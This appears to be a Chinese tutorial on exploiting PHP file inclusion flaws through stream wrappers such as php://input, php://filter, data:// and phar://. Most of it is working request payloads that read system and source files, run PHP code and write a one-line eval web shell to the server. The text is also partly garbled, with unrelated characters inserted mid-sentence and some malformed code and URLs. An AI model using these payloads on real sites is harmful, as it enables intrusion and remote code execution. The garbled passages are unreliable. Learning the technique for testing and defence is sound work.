1. 常見偽協(xié)議
file:// — 訪問本地文件系統(tǒng)
http:// — 訪問 HTTP(s) 網(wǎng)址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數(shù)據(jù)(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
image.png
2. 具體用法實例
$filename=$_GET['filename'];
在文件包含中如果是include $_GET("$filename");可以直接使用偽協(xié)議包含指定文件
但是如果加了文件夾限制就會導(dǎo)致偽協(xié)議失效如:include 'image/$filename' ,此時可以使用../進行目錄穿越包含
include "include/$filename"
2.1 file協(xié)議用法
- file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://C:/windows/win.ini
- file://[文件的相對路徑和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
2.2 http協(xié)議用法
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.3 php協(xié)議用法
- 讀取網(wǎng)站源碼
php://filter/read=convert.base64-encode/resource=[文件名]
- 執(zhí)行php代碼
通過php://input協(xié)議結(jié)合post數(shù)據(jù)
1. 查看phpinfo
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2. 寫入一句話木馬
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
2.4 壓縮流協(xié)議phar://硅卢、zip://县好、bzip2://藤滥、zlib://
- zip:// 蠢络、 bzip2:// 、 zlib:// 均屬于壓縮流效览,可以訪問壓縮文件中的子文件
- 如訪問phpinfo.zip壓縮包中的phpinfo.txt文件
http://127.0.0.1/include.phpfile=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
2.5 data數(shù)據(jù)流協(xié)議
- 通澄耷校可以用來執(zhí)行PHP代碼
1、data://text/plain, #執(zhí)行phpinfo
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2丐枉、data://text/plain;base64, # 執(zhí)行base64編碼后的代碼
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b